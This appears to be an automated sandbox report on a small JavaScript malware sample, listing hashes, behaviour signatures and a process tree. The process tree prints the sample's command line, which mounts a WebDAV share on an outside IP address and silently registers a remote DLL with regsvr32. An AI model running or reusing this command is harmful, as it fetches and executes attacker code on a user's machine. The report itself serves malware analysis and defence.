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Analysis
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max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
23/07/2024, 06:25
Static task
static1
Behavioral task
behavioral1
Sample
27312182212511628937.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
27312182212511628937.js
Resource
win10v2004-20240709-en
General
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Target
27312182212511628937.js
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Size
5KB
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MD5
35fbecf7eeb90d6c6a3092541d27eef6
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SHA1
47afead4e65e64009c145f59e60752b654b05ffb
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SHA256
54bd24d9704e64bdd57ed99c961faf7e4d907c3eb6efe33695c3a80cfd8ef1ee
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SHA512
320d901b0cbe95b69ec3ff774b7bfa2f1e3b92baa952045a5493def4efd47db8dd509045b03feb26436bf2f885e2c5972b68e03588256cc0436ada9e529174bd
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SSDEEP
48:lCUEGRVuVYSdpPKEPkS1f3kSKx/Z0qi4fCG5Ak8o9Eri4fCG5FdPeJ+kGfCf:nESAYgKXAs9hBiQ5AkgiQ5FdGJjGw
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2136 wrote to memory of 2376 2136 wscript.exe 30 PID 2136 wrote to memory of 2376 2136 wscript.exe 30 PID 2136 wrote to memory of 2376 2136 wscript.exe 30 PID 2376 wrote to memory of 2100 2376 cmd.exe 32 PID 2376 wrote to memory of 2100 2376 cmd.exe 32 PID 2376 wrote to memory of 2100 2376 cmd.exe 32
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\27312182212511628937.js1⤵
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\9778309752576.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2376 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:2100
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